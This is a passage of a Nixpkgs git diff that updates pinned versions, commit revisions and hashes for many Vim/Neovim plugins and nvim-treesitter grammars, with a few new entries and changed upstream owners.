= buildVimPlugin { pname = "vim-wakatime"; - version = "2024-01-10"; + version = "2024-02-22"; src = fetchFromGitHub { owner = "wakatime"; repo = "vim-wakatime"; - rev = "cae21a19c3db4d9aadd5d320de3da0c99dfd0f62"; + rev = "285c2e4e48fb0c63ced233c00fb10a2edb3b6c94"; sha256 = "1f7jqmsr7b9103g9fif3p8fglrqlgk5nf3ckhkjpwfy6355vk41h"; }; meta.homepage = "https://github.com/wakatime/vim-wakatime/"; @@ -15603,12 +15963,12 @@ final: prev: vim-zettel = buildVimPlugin { pname = "vim-zettel"; - version = "2024-01-11"; + version = "2024-01-31"; src = fetchFromGitHub { owner = "michal-h21"; repo = "vim-zettel"; - rev = "aa3d6edfa0251928e268e13a92d090c92446e545"; - sha256 = "1v639cgsfx87qg30n1p3cjrp83xlanng2a428i05r319z2njvj2i"; + rev = "c0230fb9f3d0f4aa10c6598549a733e20eeaa92f"; + sha256 = "0pdl26s4n3wnjh2mf0vwwxwvjc8hg4i5cfsj8fip7k8zsgwg14vx"; }; meta.homepage = "https://github.com/michal-h21/vim-zettel/"; }; @@ -15771,12 +16131,12 @@ final: prev: vimspector = buildVimPlugin { pname = "vimspector"; - version = "2024-01-02"; + version = "2024-02-17"; src = fetchFromGitHub { owner = "puremourning"; repo = "vimspector"; - rev = "703df4d948957105fe056dec9b106fbebf25ca66"; - sha256 = "1yavhc0y4s03mh9swa1cg21g7b3h461k6m9j728751qd30hjdbcf"; + rev = "def092693ea33eb2055fb2cfbcabb8e56ea77963"; + sha256 = "0b4md13a4mdf2knmb0p3c83k3v04hl5y4z2sa2kci3shq41v694x"; fetchSubmodules = true; }; meta.homepage = "https://github.com/puremourning/vimspector/"; @@ -15784,24 +16144,24 @@ final: prev: vimtex = buildVimPlugin { pname = "vimtex"; - version = "2024-01-18"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "lervag"; repo = "vimtex"; - rev = "fe20ab1bd82a23441ac55054afefcd60001947a2"; - sha256 = "1pfhsgz768knvmjiizcfv0y5vxvrywn44p1jhqz15zx3d6svf064"; + rev = "2bb7cdc17c0ac18266e4c96083290956169c1c38"; + sha256 = "06y7hhv86xgms4wli5sqhlsdpcb08lv6yjx0k7y1yp69sfyb2cxp"; }; meta.homepage = "https://github.com/lervag/vimtex/"; }; vimux = buildVimPlugin { pname = "vimux"; - version = "2022-09-26"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "preservim"; repo = "vimux"; - rev = "616fcb4799674a7a809b14ca2dc155bb6ba25788"; - sha256 = "00lxrajyvg6vl6d87r85wn8swhxq1q2754vs0hnrgxqx6gw4rfga"; + rev = "f7c41607d9246ec4b6cc28587cce84d75d106e3e"; + sha256 = "0df041kccvdgn82qqxbwzamc3g1zs5agyyg2xfkqz4ibayq7z5d7"; }; meta.homepage = "https://github.com/preservim/vimux/"; }; @@ -15856,24 +16216,24 @@ final: prev: vista-vim = buildVimPlugin { pname = "vista.vim"; - version = "2023-11-24"; + version = "2024-02-21"; src = fetchFromGitHub { owner = "liuchengxu"; repo = "vista.vim"; - rev = "290b815cd5a5ff1fb65a48936633d93e2bf14dbd"; - sha256 = "1hqnczyyg21lsv4j3kvp0w84xm0fxzvdmgakwx2q1wg3x1g4ybcf"; + rev = "f76cecc430003968e6174cae899c2cb2953219b7"; + sha256 = "0hq41f91f97885vx1rcl981vhwariiwbz2hs0dzryka2ycy5lvy4"; }; meta.homepage = "https://github.com/liuchengxu/vista.vim/"; }; vscode-nvim = buildVimPlugin { pname = "vscode.nvim"; - version = "2024-01-24"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "Mofiqul"; repo = "vscode.nvim"; - rev = "826102511b9b689a16e3e55c30f2eb65eedc99f6"; - sha256 = "0nph82xyqvcvlr0pc78r292q6givc76lz24any7p6zph9rw0zyry"; + rev = "2f248dceb66b5706b98ee86370eb7673862a3903"; + sha256 = "0261ahb7my88kkw91b0n9y0ss6whsr2gilma6a1rbjpbmymskljv"; }; meta.homepage = "https://github.com/Mofiqul/vscode.nvim/"; }; @@ -15928,12 +16288,12 @@ final: prev: whitespace-nvim = buildVimPlugin { pname = "whitespace.nvim"; - version = "2023-04-18"; + version = "2024-02-13"; src = fetchFromGitHub { owner = "johnfrankmorgan"; repo = "whitespace.nvim"; - rev = "fe9ca0ba3c6e6cc1dd14c0d6cbe49d97496700dd"; - sha256 = "1a391aq8svh3ayv4sa5dphg31l0x9rji8jrb6pa91y4b9sdhr6is"; + rev = "34d319e07f86a628deeb237133088f01f8432bc0"; + sha256 = "1gkxw6zhkgjvwg4jcpfiv2xkg7vk0q1prj4sh5swiznmyswsr0ay"; }; meta.homepage = "https://github.com/johnfrankmorgan/whitespace.nvim/"; }; @@ -15952,12 +16312,12 @@ final: prev: wiki-vim = buildVimPlugin { pname = "wiki.vim"; - version = "2024-01-22"; + version = "2024-02-12"; src = fetchFromGitHub { owner = "lervag"; repo = "wiki.vim"; - rev = "41d63295e2e90a6a587c9b7792cf672b416cf0b4"; - sha256 = "1mrmrlcq3g6ham8ywirf1bxbhrfw3xygvnl6mmrav2xydnv7yg8c"; + rev = "7d0eaf0037b01b0f8bcbb59286d58feac38bb4c8"; + sha256 = "1ibd0g6g110cvk287k7iw7fsz7w6j9g8fzrcmblxcspg5bpassy3"; }; meta.homepage = "https://github.com/lervag/wiki.vim/"; }; @@ -16060,12 +16420,12 @@ final: prev: wrapping-nvim = buildVimPlugin { pname = "wrapping.nvim"; - version = "2023-10-08"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "andrewferrier"; repo = "wrapping.nvim"; - rev = "696febba72939cf9082e0fd9cb9c603254cfa8a6"; - sha256 = "0dqygl72ln9x572a6q3dii9cqnjgfb7l70iw9vifjpv8vsyak20x"; + rev = "2b74a9fa326ad42e2a509f9e49543471d2d7c1ea"; + sha256 = "1v66hgmv05w5yz9bg4h5s00j1iz41pc09prm45xdbds6kx02rg2d"; }; meta.homepage = "https://github.com/andrewferrier/wrapping.nvim/"; }; @@ -16120,24 +16480,24 @@ final: prev: yanky-nvim = buildVimPlugin { pname = "yanky.nvim"; - version = "2023-11-27"; + version = "2024-02-02"; src = fetchFromGitHub { owner = "gbprod"; repo = "yanky.nvim"; - rev = "6bb9ffd3cad4c9876bda54e19d0659de28a4f84f"; - sha256 = "01pd9xgw9wh9xa4sk80g0n61ra4l9xvssqak6vv03kgrpyb1qizw"; + rev = "7c5cbf0122ff2dfbb6a92f14885894f65949cc8b"; + sha256 = "177xjvghk3i889hlmzmyc8xsryrj6f69v6dk0zs3wf10m20ixr78"; }; meta.homepage = "https://github.com/gbprod/yanky.nvim/"; }; yats-vim = buildVimPlugin { pname = "yats.vim"; - version = "2023-08-24"; + version = "2024-02-08"; src = fetchFromGitHub { owner = "HerringtonDarkholme"; repo = "yats.vim"; - rev = "2b6950c7143790e6930b8cf32d60c6858a50d47c"; - sha256 = "0385gak2sil6z8n20s5kdmnnpyw7ds5c2qcfr0pmyaz3dlyfx2ih"; + rev = "6927af6e3e45d0ce585684be5681bada0ffcc3a7"; + sha256 = "0vfcbsm77kmxs6876kac28ncjlp96hqwaj5sgjxkk5jx8077jq0p"; fetchSubmodules = true; }; meta.homepage = "https://github.com/HerringtonDarkholme/yats.vim/"; @@ -16193,12 +16553,12 @@ final: prev: zenbones-nvim = buildVimPlugin { pname = "zenbones.nvim"; - version = "2024-01-20"; + version = "2024-02-10"; src = fetchFromGitHub { owner = "mcchrish"; repo = "zenbones.nvim"; - rev = "072b21d16cc1d5ae5701455fadaa47b1e8a61780"; - sha256 = "00n9yy41qihayp3312wqnjms3la4kw0yjbb8fid26nq3a2719hjw"; + rev = "33672310aac6b823c88cf16d5d99472439111f9c"; + sha256 = "0yc7rr54ywap910k6jzwv4kwjy7n7s3yfpd435gq8hlcci1fj5am"; }; meta.homepage = "https://github.com/mcchrish/zenbones.nvim/"; }; @@ -16277,12 +16637,12 @@ final: prev: catppuccin-nvim = buildVimPlugin { pname = "catppuccin-nvim"; - version = "2024-01-23"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "catppuccin"; repo = "nvim"; - rev = "bc1f2151f23227ba02ac203c2c59ad693352a741"; - sha256 = "0qs9s2qc3xmam66ix6blg1n4wfx6847i2ls824a75a5xr73yx15x"; + rev = "c0de3b46811fe1ce3912e2245a9dfbea6b41c300"; + sha256 = "12m5jzp2xyv0hyndscnj7708b8rczsmqqr0kd4ng7kh5ll0xr8br"; }; meta.homepage = "https://github.com/catppuccin/nvim/"; }; @@ -16301,28 +16661,40 @@ final: prev: dracula-vim = buildVimPlugin { pname = "dracula-vim"; - version = "2023-10-29"; + version = "2024-02-23"; src = fetchFromGitHub { owner = "dracula"; repo = "vim"; - rev = "6495b4ff40479ec7705addb4ea800ec308026648"; - sha256 = "116gnd891v3rqaxk2dki1ril6j2y7f6vcdh421i0xwnvbj91pfc6"; + rev = "9fa89296884e47bbadc49ad959e37b9d1c24cafb"; + sha256 = "0911akib9ys9vyxnalbmyip7m1ahpnsn89km2hrgj0fc9s5m75ky"; }; meta.homepage = "https://github.com/dracula/vim/"; }; embark-vim = buildVimPlugin { pname = "embark-vim"; - version = "2024-01-14"; + version = "2024-02-14"; src = fetchFromGitHub { owner = "embark-theme"; repo = "vim"; - rev = "54dd8727a871421530bb07f3629dadab24b02183"; - sha256 = "0qxskx7lvf91zg7fr32j5vm6v4vf1r51zq9flsdx6fvvlmaqbkry"; + rev = "d0ce0502c83864721c92d0723dde10f38a09c714"; + sha256 = "01bx2hkxmqi9401n327m9k63m8n2jyqklgl3xkv0w3h0a16wc7h6"; }; meta.homepage = "https://github.com/embark-theme/vim/"; }; + gbprod-nord = buildVimPlugin { + pname = "gbprod-nord"; + version = "2024-02-01"; + src = fetchFromGitHub { + owner = "gbprod"; + repo = "nord.nvim"; + rev = "4ae9eb96e9ee65493d4ade102dec7e4b4d4b8b21"; + sha256 = "1pipplqpmif0wmb9w782bq89dlqidjpi0l8dn1fddr3r7zn7xj48"; + }; + meta.homepage = "https://github.com/gbprod/nord.nvim/"; + }; + gruvbox-community = buildVimPlugin { pname = "gruvbox-community"; version = "2024-01-21"; @@ -16337,12 +16709,12 @@ final: prev: harpoon2 = buildVimPlugin { pname = "harpoon2"; - version = "2024-01-06"; + version = "2024-01-26"; src = fetchFromGitHub { owner = "ThePrimeagen"; repo = "harpoon"; - rev = "2cd4e03372f7ee5692c8caa220f479ea07970f17"; - sha256 = "01ljz9w3agz5nnz5v0894scr8hwwd599qpxb2nm2lw45hr30chii"; + rev = "a38be6e0dd4c6db66997deab71fc4453ace97f9c"; + sha256 = "1cmiw4sy5r4h8f2k1m91f2xykasnp66zdibx0l8vk94hw990sg26"; }; meta.homepage = "https://github.com/ThePrimeagen/harpoon/"; }; @@ -16361,12 +16733,12 @@ final: prev: nightfly = buildVimPlugin { pname = "nightfly"; - version = "2024-01-24"; + version = "2024-01-30"; src = fetchFromGitHub { owner = "bluz71"; repo = "vim-nightfly-colors"; - rev = "0c5f52d717c65951173455a70592f6383b3487e7"; - sha256 = "0i56cqfkzgccnic23v5k0slyqc8z9zai3zcgxka40wpg3wl02x0m"; + rev = "56fe47bd16272d9644fd9946a2596fa2c3905c35"; + sha256 = "075iagcglwl2ggl1p6p0lmkpfrqsr5g48j3pix3xb5sx82697l3j"; }; meta.homepage = "https://github.com/bluz71/vim-nightfly-colors/"; }; @@ -16385,16 +16757,28 @@ final: prev: nvchad-ui = buildVimPlugin { pname = "nvchad-ui"; - version = "2023-12-28"; + version = "2024-02-21"; src = fetchFromGitHub { owner = "nvchad"; repo = "ui"; - rev = "1737a2a98e18b635480756e817564b60ff31fc53"; - sha256 = "1d15chjvbmx583qrfw1cn0z00lkrkhippgy2rvf90b6djb0z38f3"; + rev = "7b3225264af17a9e0aff0b4fd2a0fac90b73db53"; + sha256 = "00frh2f0vgz9h3ajbig2df6a6jj1sarbwxnxzr232vi25azysy2z"; }; meta.homepage = "https://github.com/nvchad/ui/"; }; + phha-zenburn = buildVimPlugin { + pname = "phha-zenburn"; + version = "2024-01-31"; + src = fetchFromGitHub { + owner = "phha"; + repo = "zenburn.nvim"; + rev = "f5ee12b30119499c7fa7f95719cd7c5aab9f9f29"; + sha256 = "10wn4b1awk4bzb7isfqbp3pqzi2ifnmcs7zyrwhna1dpwwdpgvbr"; + }; + meta.homepage = "https://github.com/phha/zenburn.nvim/"; + }; + pure-lua = buildVimPlugin { pname = "pure-lua"; version = "2021-05-16"; @@ -16421,12 +16805,12 @@ final: prev: rose-pine = buildVimPlugin { pname = "rose-pine"; - version = "2024-01-18"; + version = "2024-02-14"; src = fetchFromGitHub { owner = "rose-pine"; repo = "neovim"; - rev = "2a4aad89a803c84d7d1555d136639cd48ade1d64"; - sha256 = "1cc62q8smmwmccq15jngbsx9wrwnjp7gl5lryavf32qngknlcb09"; + rev = "f977eeba34b030b37f93ece2fbd792477606203b"; + sha256 = "1mlpqm0g8nx8pfnn5kgg8scqayjl6n3x4jnnpbb4hharrrp37sb6"; }; meta.homepage = "https://github.com/rose-pine/neovim/"; }; @@ -16445,12 +16829,12 @@ final: prev: tinykeymap = buildVimPlugin { pname = "tinykeymap"; - version = "2024-01-05"; + version = "2024-02-17"; src = fetchFromGitHub { owner = "tomtom"; repo = "tinykeymap_vim"; - rev = "4c8beeab44be0a544bcc2aff7f68ac432ab647d8"; - sha256 = "0y3r5i2nz8m8vy5njsyrbrcnp1jsck48h7925pqhrh11lf7a9sba"; + rev = "7217ce656069d82cd71872ede09152b232ecaf1b"; + sha256 = "1y0snmb402k1f5r54192d7jpg3fbam4ry92hn063y92110j9580w"; }; meta.homepage = "https://github.com/tomtom/tinykeymap_vim/"; }; diff --git a/pkgs/applications/editors/vim/plugins/nvim-treesitter/generated.nix b/pkgs/applications/editors/vim/plugins/nvim-treesitter/generated.nix index 185681984e580..7006b2e8064ff 100644 --- a/pkgs/applications/editors/vim/plugins/nvim-treesitter/generated.nix +++ b/pkgs/applications/editors/vim/plugins/nvim-treesitter/generated.nix @@ -16,58 +16,68 @@ }; agda = buildGrammar { language = "agda"; - version = "0.0.0+rev=c21c3a0"; + version = "0.0.0+rev=d3dc807"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-agda"; - rev = "c21c3a0f996363ed17b8ac99d827fe5a4821f217"; - hash = "sha256-EV0J38zcfSHaBqzu2Rcut1l20FpB+xneFRaizEX1DXg="; + rev = "d3dc807692e6bca671d4491b3bf5c67eeca8c016"; + hash = "sha256-2HBndaridTSSpYgCnpc6buLWWusmQPzsQjwAD9PkrCE="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-agda"; }; angular = buildGrammar { language = "angular"; - version = "0.0.0+rev=624ff10"; + version = "0.0.0+rev=6d02054"; src = fetchFromGitHub { - owner = "steelsojka"; + owner = "dlvandenberg"; repo = "tree-sitter-angular"; - rev = "624ff108fe949727217cddb302f20e4f16997b1c"; - hash = "sha256-ROmM6GEhKLtNPUK3W4BOTRdxS2VcIpuRqdF18nrSsXk="; + rev = "6d02054ae9aa1fedf5097fe6d93dd78f751dff21"; + hash = "sha256-Bm3I9a14WMNqL+nt5qr8Bd0Z4BOTCCF25wFrJ07FCSw="; }; - generate = true; - meta.homepage = "https://github.com/steelsojka/tree-sitter-angular"; + meta.homepage = "https://github.com/dlvandenberg/tree-sitter-angular"; }; apex = buildGrammar { language = "apex"; - version = "0.0.0+rev=ca70b23"; + version = "0.0.0+rev=857077f"; src = fetchFromGitHub { owner = "aheber"; repo = "tree-sitter-sfapex"; - rev = "ca70b2347a79615cd749517f6c6c2352e50a7ce9"; - hash = "sha256-7gVA5aFGw2DSFmmlv6HMLcfSki4aDPB05llfHFSaYME="; + rev = "857077f9e6bb04df0f769c18d32bfe036911adc8"; + hash = "sha256-b7rw0AWqqvFisS0qlDppJFxSnjNZaTTeph6gKfQwFNA="; }; location = "apex"; meta.homepage = "https://github.com/aheber/tree-sitter-sfapex"; }; arduino = buildGrammar { language = "arduino"; - version = "0.0.0+rev=ff1045f"; + version = "0.0.0+rev=7722d43"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-arduino"; - rev = "ff1045f5da90344d547022c50f1756be4adaf721"; - hash = "sha256-8qPkmLxe4DrZyVjiEYGTWlLnXDzMV/7ZlDFDAPY+jTE="; + rev = "7722d4398d87ea22c4877264f88b45bd7ce0cba5"; + hash = "sha256-pNiJY+KJ8QrL7xXOX/NRIFxIbXmf9DkVC9FUvXlk5qQ="; }; meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-arduino"; }; + asm = buildGrammar { + language = "asm"; + version = "0.0.0+rev=6ace266"; + src = fetchFromGitHub { + owner = "RubixDev"; + repo = "tree-sitter-asm"; + rev = "6ace266be7ad6bf486a95427ca3fc949aff66211"; + hash = "sha256-sMUlk4BKpsmNhGF/ayi/wkSP6ea7pvTJKuctnOvKda0="; + }; + meta.homepage = "https://github.com/RubixDev/tree-sitter-asm"; + }; astro = buildGrammar { language = "astro"; - version = "0.0.0+rev=a092afa"; + version = "0.0.0+rev=dfa0893"; src = fetchFromGitHub { owner = "virchau13"; repo = "tree-sitter-astro"; - rev = "a092afa5c330495fdfbc652766c29c66ec6880f4"; - hash = "sha256-yYQPBGNRmr/O9hI11L3a2ydZL/lypLtabfmBdKghnzM="; + rev = "dfa0893bdc4bdfada102043404758c66e3580568"; + hash = "sha256-gToRdyLvvDaeE1b9fYRVPFt1mtdR9kSYzqFBDUYpv3k="; }; meta.homepage = "https://github.com/virchau13/tree-sitter-astro"; }; @@ -84,45 +94,45 @@ }; awk = buildGrammar { language = "awk"; - version = "0.0.0+rev=dcf4ac4"; + version = "0.0.0+rev=207b049"; src = fetchFromGitHub { owner = "Beaglefoot"; repo = "tree-sitter-awk"; - rev = "dcf4ac4eaff601d87cc15604765a7ae329c1b2ee"; - hash = "sha256-ZxSgNVY5jRi6S6psG2XoNhuQnXqAjgUK7NtBK9y1WNo="; + rev = "207b04974c83d8d25a947e4d09763675c4617da7"; + hash = "sha256-sW6ix5j9VpeQj7dct9u3cJ8sXgjIQlhQ7Nnh2S8wWbk="; }; meta.homepage = "https://github.com/Beaglefoot/tree-sitter-awk"; }; bash = buildGrammar { language = "bash"; - version = "0.0.0+rev=f7239f6"; + version = "0.0.0+rev=975bc70"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-bash"; - rev = "f7239f638d3dc16762563a9027faeee518ce1bd9"; - hash = "sha256-+Mpks0FyQLl26TX63J6WhaAl/QDUR1k9wSUY5SFwL+w="; + rev = "975bc70ad95dbbf2733872bc2e0a059c055db983"; + hash = "sha256-SU5wBy81aANd7oUZvYR14Vd53Ml/cBSwDtO6uG34CaE="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-bash"; }; bass = buildGrammar { language = "bass"; - version = "0.0.0+rev=27f110d"; + version = "0.0.0+rev=c9ba456"; src = fetchFromGitHub { - owner = "amaanq"; + owner = "vito"; repo = "tree-sitter-bass"; - rev = "27f110dfe79620993f5493ffa0d0f2fe12d250ed"; - hash = "sha256-OmYtp2TAsAjw2fgdSezHUrP46b/QXgCbDeJa4ANrtvY="; + rev = "c9ba4568af24cd3403029730687c0a43d1350a43"; + hash = "sha256-F131TkIt2mW2n8Da3zI1/B0yoT9Ezo2hWoptpsdMrb4="; }; - meta.homepage = "https://github.com/amaanq/tree-sitter-bass"; + meta.homepage = "https://github.com/vito/tree-sitter-bass"; }; beancount = buildGrammar { language = "beancount"; - version = "0.0.0+rev=cd08aef"; + version = "0.0.0+rev=1f19abf"; src = fetchFromGitHub { owner = "polarmutex"; repo = "tree-sitter-beancount"; - rev = "cd08aefa20dc0f3d5984b08b5d468f75bf4fd096"; - hash = "sha256-39TnAM/urE0slFtqGykkmBlZPg0OFdkDU+p1WAAjl5c="; + rev = "1f19abf1e162e1828013cb5434c6cf30f4054e80"; + hash = "sha256-yb6z5iLMoK1wWCS9laA1muRVLssFwnyAg4SKWVsti0s="; }; meta.homepage = "https://github.com/polarmutex/tree-sitter-beancount"; }; @@ -139,23 +149,23 @@ }; bicep = buildGrammar { language = "bicep"; - version = "0.0.0+rev=3604d8c"; + version = "0.0.0+rev=c3451d1"; src = fetchFromGitHub { owner = "amaanq"; repo = "tree-sitter-bicep"; - rev = "3604d8c961ab129d2bfc6dfca56419c236ccdb83"; - hash = "sha256-s0BtyYtC/D8+nudkHxpd4rSPQWrA0FngH9HIX85H/Uw="; + rev = "c3451d1049c80074b18078ba50007b7c00e063f8"; + hash = "sha256-81Pt/Yyc/r8RDBCaGcXx9giIJ9+smi9Xus43NGOePgM="; }; meta.homepage = "https://github.com/amaanq/tree-sitter-bicep"; }; bitbake = buildGrammar { language = "bitbake"; - version = "0.0.0+rev=10bacac"; + version = "0.0.0+rev=7e0e2ac"; src = fetchFromGitHub { owner = "amaanq"; repo = "tree-sitter-bitbake"; - rev = "10bacac929ff36a1e8f4056503fe4f8717b21b94"; - hash = "sha256-PSI1XVDGwDk5GjHjvCJfmBDfYM2Gmm1KR4h5KxBR1d0="; + rev = "7e0e2ac6f1d0da1a91ab84f35edddfdfece54f1a"; + hash = "sha256-7He69Nk1b0gUCnLcfALQk46E2JPDhVpIIqS6qtJIx4k="; }; meta.homepage = "https://github.com/amaanq/tree-sitter-bitbake"; }; @@ -172,23 +182,23 @@ }; c = buildGrammar { language = "c"; - version = "0.0.0+rev=34f4c7e"; + version = "0.0.0+rev=652433f"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-c"; - rev = "34f4c7e751f4d661be3e23682fe2631d6615141d"; - hash = "sha256-VqTe0teQalt35HG8b2RDPOEJyqgViqUf43MQKdhEcUM="; + rev = "652433fce487d8c3943207da38e3e65e4550e288"; + hash = "sha256-Ld8ufwdOVqRYb9YpOa6z6fWoA+gj0w0nlq3dqhFCap8="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-c"; }; c_sharp = buildGrammar { language = "c_sharp"; - version = "0.0.0+rev=dd5e597"; + version = "0.0.0+rev=4b4e82c"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-c-sharp"; - rev = "dd5e59721a5f8dae34604060833902b882023aaf"; - hash = "sha256-DlnGIky33CuRKkVVS+tOTBLVOVzASXqdaUrZawh6LZc="; + rev = "4b4e82ca0a30376ae605e77a0d8a3c803c9f9327"; + hash = "sha256-NPF4nvryKvSmf4cI2xjYQiG391GqO0JoyymQCTXDjGc="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-c-sharp"; }; @@ -216,12 +226,12 @@ }; chatito = buildGrammar { language = "chatito"; - version = "0.0.0+rev=871622a"; + version = "0.0.0+rev=fe7a2a7"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-chatito"; - rev = "871622a3a483f0baf94923d8495c8e0bb2c09009"; - hash = "sha256-w4dCrAgb7/qQvFvo2RbfN0bRaUO8RKtReKx5i7SbTF8="; + rev = "fe7a2a75d3d74c1215141b7a7ebebb57ae17a370"; + hash = "sha256-4ianrWSctAIufc/8I1pxWvoij1nG7mcRemQs0fj1Qt8="; }; meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-chatito"; }; @@ -238,12 +248,12 @@ }; cmake = buildGrammar { language = "cmake"; - version = "0.0.0+rev=73ab4b8"; + version = "0.0.0+rev=f8de25f"; src = fetchFromGitHub { owner = "uyha"; repo = "tree-sitter-cmake"; - rev = "73ab4b8e9522f014a67f87f585e820d36fa47408"; - hash = "sha256-5X4ho6tqPZFQWqoQ6WBsfuA+RbxTX5XzX7xzyFSTifw="; + rev = "f8de25f30757a2def006a7c144354710fe63dcf3"; + hash = "sha256-J8Ro3J9kkH7k/v+nwekCotoS/l28yInhk9p/xaSbegc="; }; meta.homepage = "https://github.com/uyha/tree-sitter-cmake"; }; @@ -271,12 +281,12 @@ }; cooklang = buildGrammar { language = "cooklang"; - version = "0.0.0+rev=5e11341"; + version = "0.0.0+rev=81c2a86"; src = fetchFromGitHub { owner = "addcninblue"; repo = "tree-sitter-cooklang"; - rev = "5e113412aadb78955c27010daa4dbe1d202013cf"; - hash = "sha256-Ny55gdN+3o7bFJEnXvctstl6gjqkwrp1uE33OobyH7U="; + rev = "81c2a8667846b1e60db68b5601d864fe00fd1d3a"; + hash = "sha256-zlffOW/ZJxpn3T2CMkrznkLLtuqxp7gIxVHEItvMepY="; }; meta.homepage = "https://github.com/addcninblue/tree-sitter-cooklang"; }; @@ -304,23 +314,23 @@ }; cpp = buildGrammar { language = "cpp"; - version = "0.0.0+rev=3deebb6"; + version = "0.0.0+rev=e0c1678"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-cpp"; - rev = "3deebb663506a06e179e0dd739d2b23e158f4157"; - hash = "sha256-IN4svBz8TiDi6ADLEFgKfuY68GxIX5nG3nvtPRFt4Eo="; + rev = "e0c1678a78731e78655b7d953efb4daecf58be46"; + hash = "sha256-CdNCVDMAmeJrHgPb2JLxFHj/tHnUYC8flmxj+UaVXTo="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-cpp"; }; css = buildGrammar { language = "css"; - version = "0.0.0+rev=98c7b3d"; + version = "0.0.0+rev=02b4ee7"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-css"; - rev = "98c7b3dceb24f1ee17f1322f3947e55638251c37"; - hash = "sha256-+30AJq3L30QmLXvTnePGW39crd7mLBUJ+sGsF7Wd9qI="; + rev = "02b4ee757654b7d54fe35352fd8e53a8a4385d42"; + hash = "sha256-IniaiBBx2pDD5nwJKfr5i9qvfvG+z8H21v14qk14M0g="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-css"; }; @@ -338,12 +348,12 @@ }; cuda = buildGrammar { language = "cuda"; - version = "0.0.0+rev=2c6e806"; + version = "0.0.0+rev=221179d"; src = fetchFromGitHub { owner = "theHamsta"; repo = "tree-sitter-cuda"; - rev = "2c6e806949197e7898910c78f514a3b7ff679068"; - hash = "sha256-JAShJo+jDv4kzFCPID0C3EokmeiWxMVcJoEsVOzKBEw="; + rev = "221179d4287a2c24c08e4c67ff383ef67dc32156"; + hash = "sha256-e01PTB+SduikiiDvOW411v0pBXCqOFBWlu3HgmM6jFg="; }; meta.homepage = "https://github.com/theHamsta/tree-sitter-cuda"; }; @@ -360,35 +370,34 @@ }; d = buildGrammar { language = "d"; - version = "0.0.0+rev=c2fbf21"; + version = "0.0.0+rev=a33d400"; src = fetchFromGitHub { - owner = "CyberShadow"; + owner = "gdamore"; repo = "tree-sitter-d"; - rev = "c2fbf21bd3aa45495fe13247e040ad5815250032"; - hash = "sha256-1aW3nLZ5MbsOEiJ9PH6N/bBUlRihosWa4OWRcAmT3kc="; + rev = "a33d400f025d6bbd37b4c681c93054976f579890"; + hash = "sha256-LUb+1dTj1IP5ZtWaWBT8UWnGEqb0DJodgbkwnT7xywk="; }; - generate = true; - meta.homepage = "https://github.com/CyberShadow/tree-sitter-d"; + meta.homepage = "https://github.com/gdamore/tree-sitter-d"; }; dart = buildGrammar { language = "dart"; - version = "0.0.0+rev=f71e310"; + version = "0.0.0+rev=1a31399"; src = fetchFromGitHub { owner = "UserNobody14"; repo = "tree-sitter-dart"; - rev = "f71e310a93010863f4b17a2a501ea8e2032c345b"; - hash = "sha256-6iRUtQ1bol0a7whK35MaJ3UKrxmTAzchQ8Yxy4TeerE="; + rev = "1a31399a08aefc93bc4cdbfadc0cb619136f86c1"; + hash = "sha256-iQCjzNVCglHP670yT2inJKG5m3pstTZZzzcN0feGpFs="; }; meta.homepage = "https://github.com/UserNobody14/tree-sitter-dart"; }; devicetree = buildGrammar { language = "devicetree"; - version = "0.0.0+rev=6b53bfd"; + version = "0.0.0+rev=2087a5b"; src = fetchFromGitHub { owner = "joelspadin"; repo = "tree-sitter-devicetree"; - rev = "6b53bfdb20a54727bfe344aa40907351a298f75c"; - hash = "sha256-KaLaRfFFVNFrQmKv6G33r4H00hNkHvyTo4Aj9sBkW4s="; + rev = "2087a5b965db2a9efabab958a27fd8ddf43038a2"; + hash = "sha256-mQDZ+klWpg7csDnrj9R/9OCzwlojZoXJHiK7NCAyXIs="; }; meta.homepage = "https://github.com/joelspadin/tree-sitter-devicetree"; }; @@ -460,15 +469,15 @@ }; dtd = buildGrammar { language = "dtd"; - version = "0.0.0+rev=dd7ef38"; + version = "0.0.0+rev=c23bd31"; src = fetchFromGitHub { - owner = "ObserverOfTime"; + owner = "tree-sitter-grammars"; repo = "tree-sitter-xml"; - rev = "dd7ef38c74d8430da729b4da815e4c40776e03bb"; - hash = "sha256-6uQ9IeR4P5VXVvFA2KURDtjuYMMj9CwLHvI1dZ1B9L4="; + rev = "c23bd31d0aa72bfc01238b2546d5e823d8006709"; + hash = "sha256-oPjO7y2xSVxvP0bpCFo/oGP4hPs3kWJ728d/R5PUdK4="; }; - location = "tree-sitter-dtd"; - meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-xml"; + location = "dtd"; + meta.homepage = "https://github.com/tree-sitter-grammars/tree-sitter-xml"; }; ebnf = buildGrammar { language = "ebnf"; @@ -517,12 +526,12 @@ }; elm = buildGrammar { language = "elm"; - version = "0.0.0+rev=c26afd7"; + version = "0.0.0+rev=09dbf22"; src = fetchFromGitHub { owner = "elm-tooling"; repo = "tree-sitter-elm"; - rev = "c26afd7f2316f689410a1622f1780eff054994b1"; - hash = "sha256-vYN1E49IpsvTUmxuzRyydCmhYZYGndcZPMBYgSMudrE="; + rev = "09dbf221d7491dc8d8839616b27c21b9c025c457"; + hash = "sha256-Bq2oWtqEAsKyV0iHNKC+hXW4fh4yUwbfUhPtZWg5pug="; }; meta.homepage = "https://github.com/elm-tooling/tree-sitter-elm"; }; @@ -550,12 